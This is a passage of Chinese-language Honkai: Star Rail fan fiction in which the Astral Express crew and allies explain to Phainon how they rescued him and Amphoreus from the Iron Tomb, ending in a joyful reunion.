“没错。”丹恒肯定道,“铁墓是效率至上者。在发现你利用记忆筑墙导致自身失忆后,它必然会选择最优解——直接诱导失忆的你。他和你某种意义上也算数据同源,可以借用你的因子当壳来潜入防火墙。虽然这会导致他的力量压缩到和使用的因子同一水平,但强行突破防火墙消耗巨大,且它对你这部分核心数据和权限极度渴求,担心你永久删除。而诱导失忆的你主动交出权限,成功率更高、损耗更小。就像黑客总会优先选择钓鱼攻击,而非暴力破解,不是不能,而是更高效。” “刻法勒永志不忘,”阿格莱雅微笑着看他,“你作为那千万个轮回的创世者,记忆里早就铭刻了我们构成的因子。所以外部的我们也通过自身因子投射进入你的世界,可惜因为防火墙会排斥,不能携带记忆进去。也因为我们是以记忆体降临,血液是正常的红色,当我们离开世界后,残存的毁灭数据才会显现金血。我们的任务,就是帮助你拖住铁墓,保护你,并最终触发识刻锚——螺丝咕姆先生向我们友情提供的这件关键奇物,让我们能定位到你的位置,并为安全撤离铺路。” “还有我!我的任务是加密识刻锚!”三月七抢着说,她挺起胸膛一脸自豪,“别忘了我也是记忆令使哦,我用记忆的力量把识刻锚编码进昔涟的潜意识里,然后昔涟会带进你的世界,把它巧妙地做进《翁法罗斯》里!记忆的力量当初能将我完美隐藏进翁法罗斯的历史,让后台管理日志的记录都变成乱码,现在隐藏一个小小的识刻锚,当然不在话下啦。铁墓那个木头脑袋完全理解不了这种加密方式,估计以为那只是你对过往的拙劣投影呢,哈哈!” 昔涟俏皮地插话:“对呀,那感觉超神奇,像做了一个预知梦,梦里我知道要在游戏里藏好线头呢~” “而识刻锚,既是我们发生意外时安全撤离的通道,也是稳定你世界坐标、让列车能最终锁定并突破进来的关键信标。”风堇补充道,“每次触发,三月七小姐都会在外部接应,确保我们安全脱离。虽然过程……” 她想起那些死亡的瞬间,微微顿了一下,但很快又露出温暖的笑容,“但结果很好。” “在你的世界里,”丹恒接着道,“那刻夏先生敏锐地发现了游戏数据的异常,捕捉到了识刻锚的独特波动信号。他主动发出信号,成功与已经回归外部的昔涟建立了初步联系,确认了救援计划的存在。” 昔涟笑道:“哎呀,和那刻夏对暗号时可真是令人紧张呢,生怕他理解错,或者被那个代达罗斯发现端倪。还好我们的小夏老师确实聪明~” “而风堇小姐,”丹恒的目光转向风堇,“则从心理学角度,最早察觉了卡厄斯情感反应的矛盾,为识别铁墓的真面目提供了关键线索。再后来……” “再后来那会儿,哇,你是不知道!”三月七心有余悸地拍着胸口,“当时你们群体触发锚点退出的时候,铁墓在外面的本体发疯一样拦截,差点把锚点信号都给掐断了!还好本姑娘也不是吃素的,跟它硬刚了一波,把大伙儿都安全接回来了!不过……” 她有点不好意思地吐了吐舌头,“我在和它交锋的时候,能量对冲太猛,好像把你的防火墙……打碎了一点点?” “至于你,白厄,”丹恒的目光带着由衷的敬意,看向白厄,“在你和铁墓周旋、成功吸引并牵制其绝大部分算力的关键时刻,外部的行动才得以顺利完成。我们趁着铁墓的注意力被你吸引,尤其是最后被你的记忆洪流牢牢拖住、无暇他顾的关键窗口期,与流光忆庭的盟友联手,将整团翁法罗斯的核心数据,从权杖的演算矩阵中安全剥离出来。” □□推了推眼镜,沉稳地接话:“随后,我们合力将剥离出来的数据,成功转化为更稳定、更安全的忆质形态,使其能彻底脱离权杖独立存在。最后对这片新生星云进行了信息层面的深度模糊和隐匿处理,最大程度延迟被毁灭命途相关势力察觉的时间,确保整个救援计划圆满成功。” “列车在完成翁法罗斯数据的转移和接应所有黄金裔后,”姬子优雅地端着咖啡,微笑道,“获得了前所未有的、极其充足的开拓燃料。正是这股开拓新世界所汇聚的力量,在最后关头撕裂了铁墓的防御屏障,将你成功救出。” “因为你原本踏上的是毁灭命途,”丹恒补充道,“我们最初甚至尝试过从权杖内部撬走几个毁灭方程式,想作为你意识的新载体。没想到……” 他看向白厄,眼中带着一丝意外之喜,“你凭借自身的意志和积累,直接在记忆命途上升格为了令使,这真是远超预期的收获。” “至于铁墓,”□□看向窗外飞速掠过的星云,“他确实吞噬了部分你的记忆数据,但最关键的核心数据,他未能夺取,还失去了你携带的部分权限。这次行动,我们不仅救出了你,还成功将翁法罗斯安全转移了出来。铁墓失去了他的培养皿和最关键的目标,遭受重创。短时间内,他无法再构成威胁了。” “还有那个烦人的来古士,被我和螺丝联手牵制,屏蔽了他的观测干扰。”一个略显冷淡的女童声音突然从广播中传出,吓了开拓者一大跳:“呜哇——黑塔女士你在啊?!” “哼,当然在。”黑塔的声音带着一丝促狭,“来看看我们的计划结果如何,顺便抓人回去测模拟宇宙新版本。你不会忘了吧,开拓者?” 她顿了顿,语气转为一丝不爽,“本来想趁乱直接把那讨厌的机器人扬了。但我们锚定他的本体后,发现那家伙的力量……啧,滑不溜手,诡异得很。算了,反正等他反应过来,黄花菜都凉了,你们目的达到就行。好了,计划也顺利收尾了,开拓者,把这小子送回家后早点来空间站报到,挂了。” “这位黑塔女士……真是雷厉风行啊。”万敌感叹道。 白厄静静地听着伙伴们七嘴八舌的解释、补充和吐槽,目光扫过车厢内一张张或熟悉或初次真切见面却倍感亲切的脸庞,掠过观景窗外那片浩瀚无垠、星辰璀璨的深空,最后,他的目光再次定格在那片代表着翁法罗斯的瑰丽星云上。 他缓缓低下头,肩膀微微耸动,半晌没有抬起来。 缇宁飘到他面前,小小的脸上带着关切:“小白?你还好吗?” 万敌走过来,用力地拍了拍他的背:“救世主,你不会真被铁墓打傻了吧?” 遐蝶小声猜测:“也许……白厄阁下是太激动了?” “没事……我没事……”白厄的声音有些闷,带着不易察觉的哽咽,但当他终于抬起头时,眼里还泛着晶莹的水光,脸上却是一个无比灿烂、甚至有点傻气的笑容,“我现在感觉好得很……真的,好得很。只是……只是好久没这么高兴了。高兴得……有点不知道该怎么办才好。” 昔涟走到他身边,笑声清脆悦耳,尾调一如既往地轻快上扬:“我说的没错吧?这会是个阳光快乐的Happy Ending哦~” “是啊。”白厄深深吸了一口气,他再次望向窗外,那片属于他们的、在星海中缓缓旋转的瑰丽星云,正散发着温暖的光芒。所有的疲惫、伤痛,仿佛都在这一刻被那光芒温柔地抚平。 他嘴角的笑意加深,带着历经劫波后的释然与纯粹的喜悦,真心实意地说道:“终于……真正的黎明到来了啊。” 列车平稳地航行在无垠的星海之中,载着一车伤痕累累却终得团圆的灵魂,驶向了星海深处新生的翁法罗斯。那属于白厄、属于所有人的故事,才刚刚翻开新的篇章。